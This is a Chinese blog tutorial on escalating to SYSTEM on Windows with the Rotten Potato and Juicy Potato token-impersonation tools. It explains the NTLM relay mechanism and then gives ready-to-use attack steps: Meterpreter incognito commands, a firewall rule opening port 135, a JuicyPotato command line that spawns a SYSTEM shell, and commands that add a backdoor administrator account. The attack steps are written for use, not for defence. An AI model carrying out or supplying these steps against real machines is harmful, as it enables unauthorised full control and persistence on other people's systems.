windows提权—烂土豆(RottenPotato)及Juicy Potato提权

介绍

烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户
适用版本:Windows 7、8、10、2008、2012

烂土豆下载地址:

https://github.com/foxglovesec/Potato

烂土豆提权原理:

  1. 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
  2. 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
  3. 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

通过烂土豆提权的重点是模拟令牌,在提权的过程中,我们最好已经获得了一个具有SeImpersonate权限或其他同等权限的账户,通常Windows中的许多服务具有此权限(IIS和SQL Server等)

烂土豆优点:

  1. 100%可靠
  2. 全版本通杀
  3. 立即生效,不用像hot potato那样有时候需要等Windows更新才能使用。

msf-烂土豆提权

上传烂土豆到靶机上,通过msf获取meterpreter
查看是否具有Selmpersonate权限

meterpreter > getprivs

##或者服务器的cmd下键入以下命令
whoami /all
whoami /priv

如下,SeImpersonatePrivilege是土豆提权的必要条件
在这里插入图片描述

再使用incognito执行烂土豆,欺骗得到system令牌

use incognito
list_tokens -u
execute -cH -f c:\\wmpub\\potato.exe

欺骗成功
最后一行模拟到system的令牌

meterpreter > execute -f potato.exe -Hc
Process 3104 created.
Channel 2 created.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
             Call rev2self if primary process token is SYSTEM


Delegation Tokens Available
========================================
NT SERVICE\SQLSERVERAGENT
NT SERVICE\SQLTELEMETRY
TALLY\Sarah


Impersonation Tokens Available
========================================
NT AUTHORITY\SYSTEM

模拟成功后,需要快速使用,否则令牌会消失

impersonate_token "NT AUTHORITY\\SYSTEM"

juicypotato.exe(多汁土豆提权)

下载地址:

https://github.com/ohpe/juicy-potato

个人理解的原理(说的不对,但好理解一点):

在本地账户的权限下
1.以system权限加载COM请求,认证NTLM(当然我们是本地账户,无法越权使用system权限,会认证失败)

2.再以本地账户权限发起默认135端口请求,认证NTLM(这次权限对了认证成功了)

3.分别拦截两个NTLM的数据包,替换数据,使得通过步骤1的认证,获得system权限的token

4.利用system权限的token创建进程

实现流程如下(大佬的说明)

1、加载COM,发出请求,权限为System 在指定ip和端口的位置尝试加载一个COM对象。
RottenPotatoNG使用的COM对象为BITS,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}
可供选择的COM对象不唯一,Juicy Potato提供了多个,详细列表可参考如下地址:
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

2、回应步骤1的请求,发起NTLM认证 正常情况下,由于权限不足,当前权限不是System,无法认证成功。

3、针对本地端口,同样发起NTLM认证,权限为当前用户 由于权限为当前用户,所以NTLM认证能够成功完成。
RottenPotatoNG使用的135端口。 Juicy Potato支持指定任意本地端口,但是RPC一般默认为135端口,很少被修改。

4、分别拦截两个NTLM认证的数据包,替换数据,通过NTLM重放使得步骤1(权限为System)的NTLM认证通过,获得System权限的Token
重放时需要注意NTLM认证的NTLM Server Challenge不同,需要修正。

5、利用System权限的Token创建新进程
如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限。
如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限

转载自:https://blog.csdn.net/qq_26091745/article/details/105091686

提权步骤:
##查看本地用户的权限,是否具有SeImpersonate或SeAssignPrimaryToken权限
whoami /all
whoami priv

在这里插入图片描述

如果开启SeImpersonate权限,juicypotato的参数可以使用-t t 
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u 
如果均开启,可以选择-t * 如果均未开启,那么无法提权。

查看RPC默认端口是否为135

netstat -abno

在这里插入图片描述

##若rpc服务被修改,则使用-n 参数指定修改后的端口,如 -n 111

##添加防火墙规则,允许135端口入站
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

不同操作系统选择可用的CLSID
参考列表:

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

随便选择了一个
6d18ad12-bde3-4393-b311-099c346e6df9

选择系统未占用的端口作为监听端口
最终提权命令如下

C:\wmpub\JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {6d18ad12-bde3-4393-b311-099c346e6df9}

执行成功即可获取一个system权限的shell,后续就是打开任务管理器,关闭explore任务,再开启explore任务即可得到一个system权限的桌面

另一个大佬写的webshell、shellcode的juicyPotato.exe
##下载地址
https://github.com/uknowsec/JuicyPotato

提权命令

C:\juicyPotato_32.exe -p whoami

##执行命令
execute -f juicypotato.exe -p net user test 123456
execute -f juicypotato.exe -p net localgroup administrators test /add

很菜很菜,好多东西搞不懂

参考:
https://3gstudent.github.io/Windows%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E5%B7%A5%E5%85%B7Juicy-Potato%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/juicypotato
https://blog.csdn.net/god_zzZ/article/details/106334702

  • 11
    点赞
  • 44
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值